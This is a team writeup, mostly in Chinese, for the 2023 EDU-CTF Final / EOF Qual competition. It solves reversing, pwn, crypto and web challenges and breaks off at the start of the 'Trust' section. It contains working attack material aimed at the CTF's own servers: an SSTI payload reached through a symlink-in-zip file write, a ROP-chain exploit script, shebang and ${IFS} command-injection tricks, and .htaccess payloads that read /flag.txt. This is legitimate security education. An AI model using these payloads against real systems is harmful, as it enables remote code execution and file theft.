---
# System prepended metadata

title: 2023 EDU-CTF Final / EOF Qual w33d Writeup
tags: [NYCU, NTU]

---

# 2023 EDU-CTF Final / EOF Qual w33d Writeup
> Team: w33d
> NTU asef18766
> NYCU skps2010
> NYCU as535364
> NYCU AlaRduTP

[TOC]

## Mumumu <small>[reverse]</small>

逆了一下，看起來是 C++ 寫的，但扣太多太髒懶得逆，發現 flag_enc 內還有 `{}` 的字元，懷疑此加密是經過 swap 源字串後得來。

接下來嘗試加密字串 `1ab` `bac` 發現加密後的相對位置並不會改變，因此可以猜測字元本身不影響會被 swap 到哪裡，只有長度會影響，而 flag 長度在逆的過程中可以發現是 54，因此只需要找出 0~53 index 的字串會被 swap 到哪裡，對 flag_enc 反向操作即可，script 如下：

```python=
import string

table = string.printable[:54]
swap_table = {}
flag = ['A'] * 54

with open('flag_enc') as f: # flag enc 是 string.printable[:54] 被加密後的結果
	s = f.readline()
	for idx in range(len(s)):
		c = s[idx]
		swap_table[idx] = table.find(c)

with open('flag_enc_real') as f:
	s = f.readline()
	for idx in range(len(s)):
		c = s[idx]
		flag[swap_table[idx]] = c

print(''.join(flag))

```

Flag: `FLAG{Rub1k5Cub3_To_Got0uH1t0r1_t0_cyb3rp5ych05_6A96A9}`
> flag 很有趣，魔術方塊 XD

## Execgen <small>[misc]</small>

```bash=
script+='(created by execgen)'
echo "#!$script" > "$tmp"
```
觀察這題的行為，主要是會寫出一個 [Shebang](https://zh.wikipedia.org/zh-tw/Shebang) 的程式，並在最後加上一個 watermark，而在後面除了 binary 路徑外的所有字串會被視作單一 argument，因此會產生以下錯誤

![](https://hackmd.io/_uploads/rkpvkqKcj.png)

但根據 env 的 manual 有一個 `-S` 是專門來讓 argument 拆開的，manual 如下
> -S, --split-string=S  process and split S into separate arguments;
                        used to pass multiple arguments on shebang lines

因此可以透過以下 payload 取得 flag:
`/usr/bin/env -S cat /home/chal/flag`

![](https://hackmd.io/_uploads/r1k6_Jvqo.png)

flag: `FLAG{t0o0oo_m4ny_w4ys_t0_g37_fl4g}`

## execgen-safe <small>[revenge]</small>
觀察程式碼，發現輸入的內容會被填到檔案的 shebang ，且在輸入內容後面會被加入句子：`(created by execgen)`。此外輸入的內容必須符合正規表達式：`^[A-Za-z0-9 /]*$`。

假設在一個叫做 test.sh 的檔案裡面，只有一行：`#!/bin/cat arg1 arg2`。那在執行此檔案時，相當於執行以下：`/bin/cat 'arg1 arg2' ./test.sh` 。也就是說，不論 /bin/cat 後面有幾項，都會被合併在一起當成一個參數。
由於輸入內容會被加東西，因此不論是使用 cat 或 find ，都會顯示找不到檔案。
試玩一下，發現 shabang 的執行長度有限制，在題目上的最大長度是 255 。所以可以藉由輸入大量空格來讓後面加入的句子被截掉。
> 根據 https://homepages.cwi.nl/~aeb/std/shebang/
> linux 會在超過長度限制時 cut-off shebang

所以輸入以下內容的輸出結果來拿到 flag：
```python
s = '/bin/cat /home/chal/flag '
print(s + ' ' * (253 - len(s)))
```


## Share <small>[web]</small>

上傳後的檔案因為沒有做任何檢查，flag 的權限在 Dockerfile 中也沒有特別處理，因此只要使用 symbolic link 連結檔案到 flag 壓縮後再上傳就好。

```bash=
ln -s /flag.txt filename.txt
```

瀏覽 `https://share.ctf.zoolab.org/static/{username}/filename.txt`

![](https://hackmd.io/_uploads/rkYpl4h9i.png)

Flag: `FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}`


## ShaRcE <small>[revenge]</small>
這次仔細觀察了一下程式碼，可能有問題的地方有：
* SQLinjection
* safe join 寫爛
* 其他地方導致可以 RCE

因為都有經過參數化處理，一開始排除了 SQLinjection 方向的可能。因此轉向研究 safe join 是否可以跳出 `/app/static/{username}` 的地方，像是 `/app/templates` 如果成功任意寫 template 就可以 SSTI 導致 RCE

```python=
def safeJoin(_dir, _sub):
  filepath = path.join(_dir, _sub)
  realpath = path.realpath(filepath)
  if not _dir in path.commonpath((_dir, realpath)):
    return None
  return realpath
```
> realpath 會 follow symbolic link 拿到真實路徑

這段程式跟網路上防止 path traversal 的程式幾乎相同，只差在 line 4 網站提供的是
`if _dir != path.commanpath(_dir, realpath)` 經過一些嘗試最高只能跳到 `/app/static`，沒辦法跳到其他路徑。


```python
returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
```
靈光一閃，想到或許有問題的是 unzip，開始研究 unzip 的參數，其中下的參數的有 -q, -o, -d，分別代表「不輸出解壓縮檔案名稱」、「強制覆蓋」、「指定解壓縮路徑」，其中 -o 耐人尋味，然後再度~~通靈~~，想到 unzip 或許會 follow symlink，因此第一次先上傳有 symlink 的檔案指向 `/app/templates` 第二次再上傳具有跟 symlink file 同名的資料夾內放有 index.html 帶有 SSTI payload。


zip1: `ln -s /app/templates`
zip2: 一個 templates 資料夾內放有 index.html 或 login.html
SSTI payload: `{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('/readflag').read() }}`

![](https://hackmd.io/_uploads/r1Z1NN3cj.png)
RCE Success!
Flag: `FLAG{Pl3aS3_R3m3Mb3r_t0_c13Ar_y0uR_w3B5helL_XD}`

> 這題如果有人一直盯著四個網站看說不定可以撿到 Flag ???

## Washer <small>[misc]</small>
此為程式碼處理輸入選項的部分：
```c
if (option == 1) {
  puts("Content:");

  char buf[100] = {};
  scanf("%s", buf);

  if (validate(buf)) {
    int fd = open(filename, O_CREAT | O_TRUNC | O_WRONLY,
                  S_IRUSR | S_IWUSR | S_IXUSR);
    write(fd, buf, strlen(buf));
    close(fd);
  }
} else if (option == 2) {
  char buf[100] = {};
  int fd = open(filename, O_RDONLY);
  read(fd, buf, sizeof(buf));
  close(fd);

  printf("Content:\n%s\n", buf);
} else if (option == 3) {
  puts("Curse:");

  char buf[100] = {};
  scanf("%s", buf);
  spawn_prog(buf);
} else {
  break;
}
```
觀察程式碼，發現 option 的 0~3 對應四個選項：Write Note, Read Note, Magic, Exit 。
其中 Magic 可執行某個檔案，而 Write Note 可寫內容到某個檔案。但由於他們是使用 scanf ，所以輸入的內容不能有空格。
所以此題的解法是，在 Write Note 時，輸入 `cat${IFS}/flag` 其中 ${IFS} 預設為空格，這樣就會印出 /flag 檔案 。而 Write Note 會將內容寫入檔案：`/tmp/<id>` 其中 id 是隨機產生的，在使用程式時會顯示出來。
接者在 Magic 輸入 `/tmp/<id>` ，就會去執行該檔案，即可得到 flag:
Flag: `FLAG{Hmmm_s4nitiz3r_sh0uld_h3lp_right?🤔}`


## donut <small>[reverse]</small>
* **core**: step instruction one by one and you will discover it was a dotnet binary (mscorlib.dll)
* extract it by NT Soft NET Generic Unpacker and throw it into dotPeek to obtain source code
    ![](https://hackmd.io/_uploads/S16tTX39j.png)
* bruteforce all the result and obtain the flag
    ```csharp
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Security.Cryptography;

    namespace dotnut_exp
    {
        class Program
        {
            static string get_decrypt(byte [] bytes1)
            {
                int num = int.Parse(Encoding.UTF8.GetString(bytes1));
                if (1000 <= num)
                {
                    if (num < 10000)
                    {
                        using (MD5 md5 = MD5.Create())
                        {
                            byte[] hash = md5.ComputeHash(bytes1);
                            BitConverter.ToString(hash).Replace("-", string.Empty).ToLower();
                            byte[] bytes2 = new byte[24]
                            {
                      (byte) 49,
                      (byte) 8,
                      (byte) 83,
                      (byte) 209,
                      (byte) 4,
                      (byte) 77,
                      (byte) 130,
                      (byte) 36,
                      (byte) 139,
                      (byte) 44,
                      (byte) 248,
                      (byte) 52,
                      (byte) 172,
                      (byte) 0,
                      (byte) 207,
                      (byte) 23,
                      (byte) 17,
                      (byte) 27,
                      (byte) 97,
                      (byte) 254,
                      (byte) 30,
                      (byte) 116,
                      (byte) 143,
                      (byte) 28
                            };
                            for (int index = 0; index < bytes2.Length; ++index)
                                bytes2[index] ^= hash[index % hash.Length];
                            return Encoding.UTF8.GetString(bytes2);
                        }
                    }
                }
                return "";
            }
            static void Main(string[] args)
            {
                for (int i = 1000; i != 10000; ++i)
                {
                    var flag = get_decrypt(Encoding.UTF8.GetBytes(i.ToString()));
                    Console.WriteLine($"{i}: {flag}");
                    if (flag.StartsWith("flag"))
                    {
                        Console.WriteLine($"{i}: {flag}");
                    }
                }
            }
        }
    }

    ```


## hex <small>[crypto]</small>
* **core idea**: create xor mask to make it not a character in range `0`~`9` & `a` ~ `f`
* distinguish character & num: xor `0b100000`, characters will become uppercase and nums will be out of bound characters
* as for each character, we can brutefore to find possible mask combination
    ```
    9: 127
    8: 126
    7: 15 & 118
    6: 15 & 119
    5: 13 & 116
    4: 13 & !116
    3: 11 & 119 & 117
    2: 11 & 119 & 116
    1: 9 & 117 & !118
    0: 9 & 117 & 118
    ----
    f: 95
    e: 93 & 36
    d: 93 & !36
    c: 91 & 37
    b: 91 & !37
    a: 89
    ```
* then we can search the flag byte by byte and obtain result
## how2know_revenge <small>[pwn]</small>
* **core**: use `ROPgadget` to find and select gadget then pile up a rop chain
```python=
import pwn

trash_addr = 0x4DE310
pay = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa"

xor_gadget = pwn.p64(0x4074c8) # xor eax, edx ; ret
jz_gadget = pwn.p64(0x401C24) # jump to "retn" if rax is 0
import socket
from string import digits, ascii_letters, punctuation
flag = ""
for offset in range(-1, -1 + 0x30):
    for guessed_char in digits + ascii_letters + punctuation:
        print(f"\r{flag}{guessed_char}", end="")
        HOST = 'edu-ctf.zoolab.org'
        PORT = 10012

        payload = (pay + 
        pwn.p64(0x402798)   + # 0402798 : pop rsi ; ret
        pwn.p64(0x4de2e0+offset+1) + # rsi
        pwn.p64(0x401812)   + # 0401812 : pop rdi ; ret
        pwn.p64(trash_addr) + # rdi
        pwn.p64(0x43c850)   + # mov dl, byte ptr [rsi - 1] ; mov byte ptr [rdi - 1], dl ; ret
        pwn.p64(0x458237)   + # pop rax ; ret
        pwn.p64(ord(guessed_char))   + # rax
        xor_gadget +
        jz_gadget + 
        pwn.p64(0x458237)   + # pop rax ; ret
        pwn.p64(0x401b58)   + # rax
        pwn.p64(0x401b58)     # jmp rax
        )
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.settimeout(3)
        s.recv(666)
        s.send(payload)
        try:
            s.recv(66)
        except TimeoutError:
            flag += guessed_char
            break
```
## knock <small>[reverse]</small>
* **core**: throw it into ILspy to obtain source code
![](https://hackmd.io/_uploads/SJjof43qj.png)
* crack the md5 hashes in `Door`
    ```python
    from Crypto.Hash import MD5
    from string import printable
    enc = [
        "f8c1ceb2b36371166efc805824b59252", "ec0f4a549025dfdc98bda08d25593311", "3261390a0dfd09dc16c3987eba10eb53", "66d986ecb8b4d61c648cebdcc2a5ccb2", "fbd5870d0c8964d2c9575a1e55fb7be9", "c0992476cbd06f4f9bb7439ecee81022", "debf803f8b64d47bcdcb8e6fc1854fd3", "3fa81b15cf1210e01155396b648bbe2f", "05880def669376ef5070966617ccdeea", "0c635429f6905f04790ecc942b1bcf86",
        "f70ce87784d549677b28dd0932766833", "790b40de039d3f13dea0e51818e08319", "4a5a99441aa7a885192a0530a407ade0", "0058628c972c658654471b36178f163f", "71f9eaf557aaa691984723bf7536b953", "30cbf3c9e5a0e91168f57f1a5af0b6dc", "d9ccfeb048086c336b1d965aee4a6c3d", "cfd0e95c62ddca1bfd1a902761df59f9", "9798150652e2bd5a24dfbfe5e678be9e", "eb275c9f4a7b3e799dabc6fa56305a13",
        "e7a559cf6b0acbf36087f76a027d55ba", "fe12380219f2285e48928bcb3658550a", "c6b3fb1f238c3a599fcbabb4127ee6b5", "4d15d083b996e4fd0865c79697fb10cd", "4008c526e86cde781976813b1bc3da38", "b0429dde1bbb1372f98a0d1f4c32fa3f", "2447ed4c7337c2c82d2a7bb63f49ec05", "90b247e82e0a0e30c9caf4402840c860", "e17cadf8ee52aa84dfc47d0203d38710", "bf8f4b12d3135fb4af7a1ac72509c9dc",
        "f2ee0d18cf0694678d32797774128ddd", "c6c24338269e7aeab5161fb191e475c2", "23c6afffd93216e493fec87ee9315b86", "0b93d09e1cdaed8d8e0de39531de182a", "1657d03d5b217d1d237db25d8a4d5489", "3498f0744f6059fb2bf7c778d085c909", "ac38e3f1e8d93a6a8c417165a59bce67", "e1b0e8bb077ef11bdee3cc67ddf9cd7b", "4732293cca5121ab05dd5e254d22acee", "fad3b901ba4258ad9fd71a7302df8148",
        "1e02fd1f2f4f22f42fb71a8230c3fa35", "75fcc6674ca64f120eaf3aa911870fc9", "ae8612af96882cb771f1a4d8fdb41fc3", "96bba5d198bfa190c2773516badc221d", "47728b786cbeb69d2c7292925f06aaf1", "3f9031bff26fb95509b8cd353bd0a131", "010863115678f4d19f1d4ac2b2db9697", "e944d1b87ad28a9f7c6cf90680483556", "466d818aafd0cdfc0a9ab3b41a02f5d9", "af0a281c8b0ccb7cb43b4b0345a3bb49",
        "fcb4cb5a6d51bba742fd9d4d73a3449f", "74dfb0110dbb3da8e23bf5fb40af078c", "eb70b854739c9b6cb35f8b2cf77ed64a", "ffe3b6cfa20bb97c909838f7351e4394", "b85ced8f3f11edbd781ee6b0d79fd7b4", "c10b6289b3fd56c1d17ba758960d1c20", "36986e79b356328a1bc32756416bb744", "e2476b0618c7e20c8246f3e274abca03", "9793fd49590b40952f928e7c431d43a9", "c5d774c5e69aea3707e5552b61c85bb2",
        "672e62fd225560292abdf292caf05a02", "6615c852430df05c405d1df7723e944f", "80fb5e9390b54dd8ef51d7c9a86bde14", "c05cec12c67e0c3f1cdb7ae7363008c4", "59e4e7efc94b52ce3ba792cbd7aaabd4"
    ]
    def get_enc(idx:int, chr:int):
        hs = MD5.new()
        hs.update(bytes([chr, 109, 100, 53, idx]))
        return hs.hexdigest()

    data_dict = {}
    for i in range(len(enc)):
        for c in printable:
            data_dict[get_enc(i, ord(c))] = (i, c)
    res = ""
    for h in enc:
        res += (data_dict[h][1])
    print(res)
    ```
## nekomatsuri <small>[reverse]</small>
* main function
    ```c
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      DWORD NumberOfBytesWritten; // [rsp+30h] [rbp-10h] BYREF
      DWORD ThreadId; // [rsp+34h] [rbp-Ch] BYREF
      HANDLE hHandle; // [rsp+38h] [rbp-8h]

      sub_140002320();
      scanf("%s", Source);
      if ( argc <= 2 )
      {
        decode_encrypted();
        hHandle = CreateThread(0i64, 0i64, thread_logic, &hFile, 0, &ThreadId);
        Sleep_0(0x96u);
        mutate_rc4(WinExec, 8, byte_140010024, 16, 192);
        byte_14001003C[0] = 13;
        byte_14001003D = 10;
        NumberOfBytesWritten = 0;
        WriteFile(hFile, WinExec, 0xAu, &NumberOfBytesWritten, 0i64);
        WaitForSingleObject(hHandle, 0xFFFFFFFF);
      }
      else
      {
        mutate_rc4(byte_140010024, 16, Source, 7, 253);
        sub_14000194E(argv[1], argv[2]);
      }
      return 0;
    }
    ```
    * with no argument
        * create a thread to run `thread_logic`
        * sleep for a little while
        * decrypt the secret string with `mutated_rc4`
        * pass secret string to pipe
    * with one argument
        * decrypt key secret string passed by no argument process
        * goto `sub_14000194E`
* `decode_encrypted`
    ```c
    BOOL (__stdcall *decode_encrypted())(HANDLE hObject)
    {
      BOOL (__stdcall *result)(HANDLE); // rax

      mutate_rc4(byte_140010024, 16, (char *)&unk_140010020, 4, 3);
      mutate_rc4(kern, 13, byte_140010024, 16, 143);
      hModule = GetModuleHandleA(kern);
      mutate_rc4(ProcName, 15, byte_140010024, 16, 78);
      GetProcAddress_0 = (FARPROC (__stdcall *)(HMODULE, LPCSTR))GetProcAddress(hModule, ProcName);
      mutate_rc4(byte_14001003C, 13, byte_140010024, 16, 234);
      CreateThread = (HANDLE (__stdcall *)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddress_0(hModule, byte_14001003C);
      mutate_rc4(aJdu, 6, byte_140010024, 16, 13);
      Sleep_0 = (void (__stdcall *)(DWORD))GetProcAddress_0(hModule, aJdu);
      mutate_rc4(asc_14001004F, 9, byte_140010024, 16, 119);
      ReadFile = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress_0(hModule, asc_14001004F);
      mutate_rc4(Destination, 10, byte_140010024, 16, 192);
      WriteFile = (BOOL (__stdcall *)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress_0(hModule, Destination);
      mutate_rc4(aO, 20, byte_140010024, 16, 96);
      WaitForSingleObject = (DWORD (__stdcall *)(HANDLE, DWORD))GetProcAddress_0(hModule, aO);
      mutate_rc4(byte_140010092, 11, byte_140010024, 16, 167);
      CreatePipe = (BOOL (__stdcall *)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD))GetProcAddress_0(
                                                                                         hModule,
                                                                                         byte_140010092);
      mutate_rc4(byte_14001009D, 15, byte_140010024, 16, 180);
      CreateProcessA = (BOOL (__stdcall *)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION))GetProcAddress_0(hModule, byte_14001009D);
      mutate_rc4(aSy, 14, byte_140010024, 16, 249);
      PeekNamedPipe = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD))GetProcAddress_0(hModule, aSy);
      mutate_rc4(asc_1400100BA, 12, byte_140010024, 16, 143);
      result = (BOOL (__stdcall *)(HANDLE))GetProcAddress_0(hModule, asc_1400100BA);
      CloseHandle = result;
      return result;
    }
    ```
* `thread_logic`
    ```c
    BOOL __fastcall thread_logic(LPVOID lpThreadParameter)
    {
      BOOL result; // eax
      DWORD v2; // ecx
      DWORD NumberOfBytesRead; // [rsp+58h] [rbp-28h] BYREF
      DWORD TotalBytesAvail; // [rsp+5Ch] [rbp-24h] BYREF
      char Buffer[256]; // [rsp+60h] [rbp-20h] BYREF
      struct _PROCESS_INFORMATION ProcessInformation; // [rsp+160h] [rbp+E0h] BYREF
      struct _STARTUPINFOA StartupInfo; // [rsp+180h] [rbp+100h] BYREF
      struct _SECURITY_ATTRIBUTES PipeAttributes; // [rsp+1F0h] [rbp+170h] BYREF
      HANDLE v9; // [rsp+210h] [rbp+190h] BYREF
      HANDLE hWritePipe; // [rsp+218h] [rbp+198h] BYREF
      HANDLE hReadPipe; // [rsp+220h] [rbp+1A0h] BYREF
      BOOL v13; // [rsp+22Ch] [rbp+1ACh]

      *(_QWORD *)&PipeAttributes.nLength = 24i64;
      *(_QWORD *)&PipeAttributes.bInheritHandle = 1i64;
      PipeAttributes.lpSecurityDescriptor = 0i64;
      result = CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0);
      if ( result )
      {
        result = CreatePipe(&v9, (PHANDLE)lpThreadParameter, &PipeAttributes, 0);
        if ( result )
        {
          memset(&StartupInfo, 0, sizeof(StartupInfo));
          StartupInfo.hStdOutput = hWritePipe;
          StartupInfo.hStdError = hWritePipe;
          StartupInfo.hStdInput = v9;
          StartupInfo.cb = 104;
          StartupInfo.dwFlags = 257;
          StartupInfo.wShowWindow = 0;
          memset(&ProcessInformation, 0, sizeof(ProcessInformation));
          mutate_rc4(CommandLine, 28, byte_140010024, 16, 88);
          strcpy(Destination, Source);
          if ( CreateProcessA(
                 0i64,
                 CommandLine,
                 &PipeAttributes,
                 &PipeAttributes,
                 1,
                 0,
                 0i64,
                 0i64,
                 &StartupInfo,
                 &ProcessInformation) )
          {
            v13 = 0;
            while ( !v13 )
            {
              v13 = WaitForSingleObject(ProcessInformation.hProcess, 0x32u) == 0;
              while ( 1 )
              {
                TotalBytesAvail = 0;
                NumberOfBytesRead = 0;
                if ( !PeekNamedPipe(hReadPipe, 0i64, 0, 0i64, &TotalBytesAvail, 0i64) || !TotalBytesAvail )
                  break;
                v2 = 255;
                if ( TotalBytesAvail <= 0xFF )
                  v2 = TotalBytesAvail;
                if ( !ReadFile(hReadPipe, Buffer, v2, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead )
                  break;
                Buffer[NumberOfBytesRead] = 0;
              }
            }
            puts(Buffer);
            CloseHandle(ProcessInformation.hProcess);
            CloseHandle(ProcessInformation.hThread);
          }
          CloseHandle(hReadPipe);
          return CloseHandle(hWritePipe);
        }
      }
      return result;
    }
    ```
    * create process with another secret string and pipe
* `sub_14000194E`
    ```c
    int __fastcall sub_14000194E(const char *Ch1y0d4m0m0, const char *usr_input)
    {
      int j; // [rsp+34h] [rbp-Ch]
      char v4; // [rsp+3Bh] [rbp-5h]
      int i; // [rsp+3Ch] [rbp-4h]

      if ( strlen(usr_input) != 65 )
        goto LABEL_10;
      for ( i = 0; i <= 64; ++i )
        usr_input[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)];
      mutate_rc4(byte_1400100F6, 65, byte_140010024, 16, 30);
      v4 = 1;
      for ( j = 0; j <= 64; ++j )
        v4 &= usr_input[j] == (unsigned __int8)byte_1400100F6[j];
      if ( v4 )
      {
        mutate_rc4(asc_1400100E2, 11, byte_140010024, 16, 89);
        return printf("%s", asc_1400100E2);
      }
      else
      {
    LABEL_10:
        mutate_rc4(&aJ, 9, byte_140010024, 16, 226);
        return printf("%s", &aJ);
      }
    }
    ```
    * decrypt the string(flag) and compare the encrypted with `byte_1400100F6`
    * print whether the flag is correct or not
* sol
    ```c
    #include <stdint.h>
    #include <stdio.h>
    #include <string.h>
    char byte_1400100F6[] = {28, 245, 158, 19, 127, 33, 197, 13, 21, 58, 230, 248, 167, 158, 159, 236, 86, 109, 248, 44, 240, 128, 166, 150, 4, 140, 185, 111, 139, 204, 116, 67, 58, 161, 7, 16, 85, 71, 210, 150, 54, 157, 142, 107, 132, 137, 126, 196, 99, 230, 97, 155, 122, 215, 173, 50, 173, 130, 74, 103, 4, 126, 50, 202, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 246, 0, 64, 1, 0, 0, 0, 0, 0, 0, 0, 0, 
    0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0};
    char byte_140010024[] = {166, 104, 25, 176, 148, 143, 95, 161, 139, 32, 13, 84, 59, 247, 87, 60, 147, 56, 195, 90, 89, 227, 104, 118, 93, 25, 22, 168, 107, 61, 161, 72, 177, 43, 184, 243, 226, 74, 240, 251, 173, 132, 57, 223, 125, 149, 68, 48, 184, 48, 220, 194, 18, 156, 
    174, 88, 52, 207, 103, 237, 244, 202, 78, 79, 57, 174, 178, 90, 102, 19, 210, 33, 28, 235, 76, 172, 129, 183, 185, 87, 147, 
    35, 196, 107, 68, 192, 98, 154, 156, 16, 243, 144, 164, 75, 71, 201, 89, 5, 240, 222};
    char asc_1400100E2[] = {35, 0, 99, 37, 94, 26, 103, 177, 5, 241, 247, 74, 166, 67, 128, 87, 46, 236, 108, 122, 28, 245, 158, 19, 127, 33, 197, 13, 
    21, 58, 230, 248, 167, 158, 159, 236, 86, 109, 248, 44, 240, 128, 166, 150, 4, 140, 185, 111, 139, 204, 116, 67, 58, 161, 7, 16, 85, 71, 210, 150, 54, 157, 142, 107, 132, 137, 126, 196, 99, 230, 97, 155, 122, 215, 173, 50, 173, 130, 74, 103, 4, 126, 50, 202, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 112, 246, 0, 64, 1, 0};
    long long xor_cipher(char *str0, signed int str0_len, char *str1, int str1_len, char num)
    {
      long long result; // rax
      char iv[268]; // [rsp+10h] [rbp-70h]
      char v7; // [rsp+11Ch] [rbp+9Ch]
      unsigned char v8; // [rsp+11Dh] [rbp+9Dh]
      char v9; // [rsp+11Eh] [rbp+9Eh]
      unsigned char v10; // [rsp+11Fh] [rbp+9Fh]
      int k; // [rsp+120h] [rbp+A0h]
      int j; // [rsp+124h] [rbp+A4h]
      int i; // [rsp+128h] [rbp+A8h]
      unsigned char tmp_buf; // [rsp+12Fh] [rbp+AFh]

      for ( i = 0; i <= 255; ++i )
        iv[i] = i;
      tmp_buf = 0;
      for ( j = 0; j <= 255; ++j )
      {
        tmp_buf += iv[j] + str1[j % str1_len];
        iv[j] ^= iv[tmp_buf];
        iv[tmp_buf] ^= iv[j];
        iv[j] ^= iv[tmp_buf];
      }
      tmp_buf = 0;
      for ( k = 0; ; ++k )
      {
        result = (unsigned int)k;
        if ( k >= str0_len )
          break;
        v10 = k + 1;
        v9 = iv[(unsigned char)(k + 1)];
        tmp_buf += v9;
        iv[(unsigned char)(k + 1)] ^= iv[tmp_buf];
        iv[tmp_buf] ^= iv[v10];
        iv[v10] ^= iv[tmp_buf];
        v8 = iv[v10] + v9;
        v7 = iv[v8];
        if ( num >= 0 )
          str0[k] = v7 ^ (str0[k] + num);
        else
          str0[k] = (v7 ^ str0[k]) + num;
      }
      return result;
    }
    int sub_14000194E(const char *Ch1y0d4m0m0, char *usr_input)
    {
      int j; // [rsp+34h] [rbp-Ch]
      char v4; // [rsp+3Bh] [rbp-5h]
      int i; // [rsp+3Ch] [rbp-4h]

      if ( strlen(usr_input) != 65 )
        goto LABEL_10;
      for ( i = 0; i <= 64; ++i )
        usr_input[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)];
      xor_cipher(byte_1400100F6, 65, byte_140010024, 16, 30);
      v4 = 1;
      for ( j = 0; j <= 64; ++j )
      {
        printf("%d: %d\n", j, byte_1400100F6[j]);
        v4 &= usr_input[j] == (unsigned char)byte_1400100F6[j];
      }
      if ( v4 )
      {
        xor_cipher(asc_1400100E2, 11, byte_140010024, 16, 89);
        return printf("%s", asc_1400100E2);
      }
      else
      {
    LABEL_10:
        puts("wrong");
      }
    }
    int main()
    {
        char Source[]="WinExec";
        char Ch1y0d4m0m0[]="Ch1y0d4m0m0";
        xor_cipher(byte_140010024, 16, Source, 7, 253);
        xor_cipher(byte_1400100F6, 65, byte_140010024, 16, 30);
        for ( int i = 0; i <= 64; ++i )
            byte_1400100F6[i] ^= i ^ Ch1y0d4m0m0[i % strlen(Ch1y0d4m0m0)];
        printf("%s\n", byte_1400100F6);
    }
    ```
## Water <small>[revenge]</small><small>[not solved]</small>
* **not solved**
* current procedure
    * bof in `scanf`
        ```c=74
        puts("Content:");

        char buf[100] = {};
        scanf("%s", buf);
        ```
    * capable to ret to some place in `chal`(no-pie)

## Gist <small>[web]</small>

此題有一個可以上傳檔案的網站，並且可以檢視上傳的檔案內容。

### 程式碼分析

#### index.php

```php=5
if( preg_match('/ph/i', $file['name']) !== 0
 || preg_match('/ph/i', file_get_contents($file['tmp_name'])) !== 0
 || $file['size'] > 0x100
){ die("Bad file!"); }
```

網站主要透過三個條件檢查上傳的檔案：

1. 檔名是否包含 `ph`
2. 檔案內容是否包含 `ph`
3. 檔案大小是否大於 `0x100` Bytes

```php=10
$uploadpath = 'upload/'.md5_file($file['tmp_name']).'/';
@mkdir($uploadpath);
move_uploaded_file($file['tmp_name'], $uploadpath.$file['name']);
```

檔案若是通過測試，便會上傳至 `http://<host>/upload/<hash>/<file_name>`。

- `<hash>` 為檔案內容的 `md5`
- `<file_name>` 使用者上傳檔案時的檔案名稱

因此兩者皆為已知且可控。

### 弱點分析

```shell
$ docker-compose exec web ps x
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 apache2 -DFOREGROUND
   55 pts/0    Rs+    0:00 ps x
```

可以知道 HTTP Server 版本為 `apache2`，因此支援 `.htaccess`。
當請求的目錄底下包含 `.htaccess` 時便會執行該設定檔。

### <small>Solution #1 </small><br>Trial-and-error Attack

#### .htaccess (template)

```htmlmixed
<If "file('/flag.txt') =~ m#^{{FLAG}}#">
    ErrorDocument 404 "yeee"
</If>
```

- `file()` : Read contents from a file ( including line endings, when present )
- `=~` : String matches the regular expression
- `m#regexp#` : Regular expression ( An alternative of `/regexp/` )
- `ErrorDocument` : Custom error response with status code and text to be displayed

當 `file('/flag.txt')` 符合 regex 條件，便會將網頁導向印有 `yeee` 字樣的 404 頁面。
不斷更新 `{{FLAG}}` 即可一個字一個字地猜出 FLAG。

#### expoit (pseudocode)

```
Procedure find_flag()
    flag := ""
    While flag[-1] != "}" Do
        Foreach c := PRINTABLE_ASCII Do
            htaccess := render( HTACCESS_TEMPLATE, flag + c )
            post( HOST, file=htaccess )
            whatever := HOST + "/upload/" + md5( htaccess ) + "/whatever"
            response := get( whatever )
            If response.body == "yeee" Then
                flag := flag + c
                Break
            End if
        End for
    End while
    Return flag
End
```

:::warning
實作時還需注意特殊字元的 escape ( e.g., `*` , `\` , `#` , ... )
:::

### <small>Solution #2 </small><br>Show the File Directly

處理 regex 的 escape 實在太惱人了，仔細閱讀 **[官方文件](https://httpd.apache.org/docs/2.4/expr.html)** 後發現其他做法。

#### .htaccess

```
ErrorDocument 404 "%{file:/flag.txt}"
```

- `%{func:argv}` : 相當於 `func("argv")`

上傳後瀏覽 `http://<host>/upload/<md5(.htaccess)>/whatever` 即可取得 FLAG : `FLAG{Wh4t_1f_th3_WAF_b3c0m3_preg_match('/h/i',file_get_contents($file['tmp_name']))!==0}`

### <small>TL;DR </small><br>Murmur

得到 FLAG 內的訊息為：
What if the WAF become `preg_match('/h/i',file_get_contents($file['tmp_name']))!==0` ?
似乎不影響上述第二種解法，第一種解法也只需要改寫 regex ，避免出現 `h` 即可：

- 將 `h` 用 `[^a-gi-zA-GI-Z0-9 _{}]` 之類的取代

總覺得上述兩種方法都不是預期解？

## Trust <small>[web]</small>

此題網站可以上傳自定義 HTML Template、一組對應的 key / value 用於取代 Template 中的元素。

### 程式碼分析

#### (web) app.js

```javascript=9
app.get("/", function (req, res) {
    res.sendFile(__dirname + '/views/index.html')
});

app.get("/render", function (req, res) {
